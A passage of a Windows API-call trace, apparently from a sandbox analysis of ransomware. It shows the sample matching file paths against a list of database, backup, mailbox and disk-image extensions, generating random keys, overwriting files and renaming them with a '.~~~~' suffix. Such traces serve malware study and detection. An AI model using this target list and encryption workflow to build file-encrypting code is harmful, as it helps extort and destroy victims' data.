	[0086.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.~~~~")) returned 1
	[0086.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.636] GetLastError () returned 0x0
	[0086.746] lstrlenW (lpString=".sqb") returned 4
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".sqb") returned 0x0
	[0086.746] lstrlenW (lpString=".ost") returned 4
	[0086.746] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".ost") returned 0x0
	[0086.746] lstrlenW (lpString=".txt") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".txt") returned 0x0
	[0086.747] lstrlenW (lpString=".mdt") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".mdt") returned 0x0
	[0086.747] lstrlenW (lpString=".BDB") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".BDB") returned 0x0
	[0086.747] lstrlenW (lpString=".eql") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".eql") returned 0x0
	[0086.747] lstrlenW (lpString=".DBF") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DBF") returned 0x0
	[0086.747] lstrlenW (lpString=".EQL") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".EQL") returned 0x0
	[0086.747] lstrlenW (lpString=".FDB") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".FDB") returned 0x0
	[0086.747] lstrlenW (lpString=".EDB") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".EDB") returned 0x0
	[0086.747] lstrlenW (lpString=".DACPAC") returned 7
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.747] lstrlenW (lpString=".VHD") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".VHD") returned 0x0
	[0086.747] lstrlenW (lpString=".DBV") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DBV") returned 0x0
	[0086.747] lstrlenW (lpString=".dacpac") returned 7
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dacpac") returned 0x0
	[0086.747] lstrlenW (lpString=".sdf") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".sdf") returned 0x0
	[0086.747] lstrlenW (lpString=".accdb") returned 6
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".accdb") returned 0x0
	[0086.747] lstrlenW (lpString=".DBX") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DBX") returned 0x0
	[0086.747] lstrlenW (lpString=".MDT") returned 4
	[0086.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".MDT") returned 0x0
	[0086.747] lstrlenW (lpString=".SQB") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".SQB") returned 0x0
	[0086.748] lstrlenW (lpString=".vhd") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".vhd") returned 0x0
	[0086.748] lstrlenW (lpString=".bac") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".bac") returned 0x0
	[0086.748] lstrlenW (lpString=".mdf") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".mdf") returned 0x0
	[0086.748] lstrlenW (lpString=".BAK") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".BAK") returned 0x0
	[0086.748] lstrlenW (lpString=".BAC") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".BAC") returned 0x0
	[0086.748] lstrlenW (lpString=".dbs") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dbs") returned 0x0
	[0086.748] lstrlenW (lpString=".vhdx") returned 5
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".vhdx") returned 0x0
	[0086.748] lstrlenW (lpString=".NDF") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".NDF") returned 0x0
	[0086.748] lstrlenW (lpString=".dat") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dat") returned 0x0
	[0086.748] lstrlenW (lpString=".DBS") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DBS") returned 0x0
	[0086.748] lstrlenW (lpString=".CKP") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".CKP") returned 0x0
	[0086.748] lstrlenW (lpString=".edb") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".edb") returned 0x0
	[0086.748] lstrlenW (lpString=".PST") returned 4
	[0086.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".PST") returned 0x0
	[0086.749] lstrlenW (lpString=".dbf") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dbf") returned 0x0
	[0086.749] lstrlenW (lpString=".SQL") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".SQL") returned 0x0
	[0086.749] lstrlenW (lpString=".pst") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".pst") returned 0x0
	[0086.749] lstrlenW (lpString=".dbv") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dbv") returned 0x0
	[0086.749] lstrlenW (lpString=".SDF") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".SDF") returned 0x0
	[0086.749] lstrlenW (lpString=".dtxs") returned 5
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dtxs") returned 0x0
	[0086.749] lstrlenW (lpString=".db3") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".db3") returned 0x0
	[0086.749] lstrlenW (lpString=".OST") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".OST") returned 0x0
	[0086.749] lstrlenW (lpString=".dbx") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dbx") returned 0x0
	[0086.749] lstrlenW (lpString=".DB3") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DB3") returned 0x0
	[0086.749] lstrlenW (lpString=".DAT") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DAT") returned 0x0
	[0086.749] lstrlenW (lpString=".VHDX") returned 5
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".VHDX") returned 0x0
	[0086.749] lstrlenW (lpString=".ndf") returned 4
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".ndf") returned 0x0
	[0086.749] lstrlenW (lpString=".DB") returned 3
	[0086.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DB") returned 0x0
	[0086.749] lstrlenW (lpString=".sql") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".sql") returned 0x0
	[0086.750] lstrlenW (lpString=".MYD") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".MYD") returned 0x0
	[0086.750] lstrlenW (lpString=".DBT") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DBT") returned 0x0
	[0086.750] lstrlenW (lpString=".ACCDB") returned 6
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.750] lstrlenW (lpString=".fdb") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".fdb") returned 0x0
	[0086.750] lstrlenW (lpString=".bak") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".bak") returned 0x0
	[0086.750] lstrlenW (lpString=".myd") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".myd") returned 0x0
	[0086.750] lstrlenW (lpString=".DTXS") returned 5
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".DTXS") returned 0x0
	[0086.750] lstrlenW (lpString=".ckp") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".ckp") returned 0x0
	[0086.750] lstrlenW (lpString=".dbt") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".dbt") returned 0x0
	[0086.750] lstrlenW (lpString=".db") returned 3
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".db") returned 0x0
	[0086.750] lstrlenW (lpString=".TXT") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".TXT") returned 0x0
	[0086.750] lstrlenW (lpString=".MDF") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".MDF") returned 0x0
	[0086.750] lstrlenW (lpString=".bdb") returned 4
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".bdb") returned 0x0
	[0086.750] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.750] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0086.751] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.752] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0086.752] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0086.752] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20674211008) returned 1
	[0086.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d837470, dwHighDateTime=0x1d60e1e)) 
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b2f8
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358398
	[0086.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2f8 | out: hHeap=0x300000) returned 1
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358398 | out: hHeap=0x300000) returned 1
	[0086.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6568
	[0086.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0086.753] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.753] GetLastError () returned 0x0
	[0086.753] GetLastError () returned 0x0
	[0086.753] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.753] GetLastError () returned 0x0
	[0086.753] GetLastError () returned 0x0
	[0086.758] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffff403a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.759] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xbfc6, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x25dfec0*=0xbfc6, lpOverlapped=0x0) returned 1
	[0086.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.759] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.759] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.760] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.760] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.760] CloseHandle (hObject=0x12c) returned 1
	[0086.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.760] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.~~~~")) returned 1
	[0086.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.761] GetLastError () returned 0x0
	[0086.761] lstrlenW (lpString=".sqb") returned 4
	[0086.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".sqb") returned 0x0
	[0086.761] lstrlenW (lpString=".ost") returned 4
	[0086.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".ost") returned 0x0
	[0086.761] lstrlenW (lpString=".txt") returned 4
	[0086.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".txt") returned 0x0
	[0086.761] lstrlenW (lpString=".mdt") returned 4
	[0086.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".mdt") returned 0x0
	[0086.761] lstrlenW (lpString=".BDB") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".BDB") returned 0x0
	[0086.762] lstrlenW (lpString=".eql") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".eql") returned 0x0
	[0086.762] lstrlenW (lpString=".DBF") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DBF") returned 0x0
	[0086.762] lstrlenW (lpString=".EQL") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".EQL") returned 0x0
	[0086.762] lstrlenW (lpString=".FDB") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".FDB") returned 0x0
	[0086.762] lstrlenW (lpString=".EDB") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".EDB") returned 0x0
	[0086.762] lstrlenW (lpString=".DACPAC") returned 7
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DACPAC") returned 0x0
	[0086.762] lstrlenW (lpString=".VHD") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".VHD") returned 0x0
	[0086.762] lstrlenW (lpString=".DBV") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DBV") returned 0x0
	[0086.762] lstrlenW (lpString=".dacpac") returned 7
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dacpac") returned 0x0
	[0086.762] lstrlenW (lpString=".sdf") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".sdf") returned 0x0
	[0086.762] lstrlenW (lpString=".accdb") returned 6
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".accdb") returned 0x0
	[0086.762] lstrlenW (lpString=".DBX") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DBX") returned 0x0
	[0086.762] lstrlenW (lpString=".MDT") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".MDT") returned 0x0
	[0086.762] lstrlenW (lpString=".SQB") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".SQB") returned 0x0
	[0086.762] lstrlenW (lpString=".vhd") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".vhd") returned 0x0
	[0086.762] lstrlenW (lpString=".bac") returned 4
	[0086.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".bac") returned 0x0
	[0086.763] lstrlenW (lpString=".mdf") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".mdf") returned 0x0
	[0086.763] lstrlenW (lpString=".BAK") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".BAK") returned 0x0
	[0086.763] lstrlenW (lpString=".BAC") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".BAC") returned 0x0
	[0086.763] lstrlenW (lpString=".dbs") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dbs") returned 0x0
	[0086.763] lstrlenW (lpString=".vhdx") returned 5
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".vhdx") returned 0x0
	[0086.763] lstrlenW (lpString=".NDF") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".NDF") returned 0x0
	[0086.763] lstrlenW (lpString=".dat") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".dat") returned 0x0
	[0086.763] lstrlenW (lpString=".DBS") returned 4
	[0086.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS", lpSrch=".DBS") returned 0x0
	[0086.763] lstrlenW (lpString=".CKP") returned 4
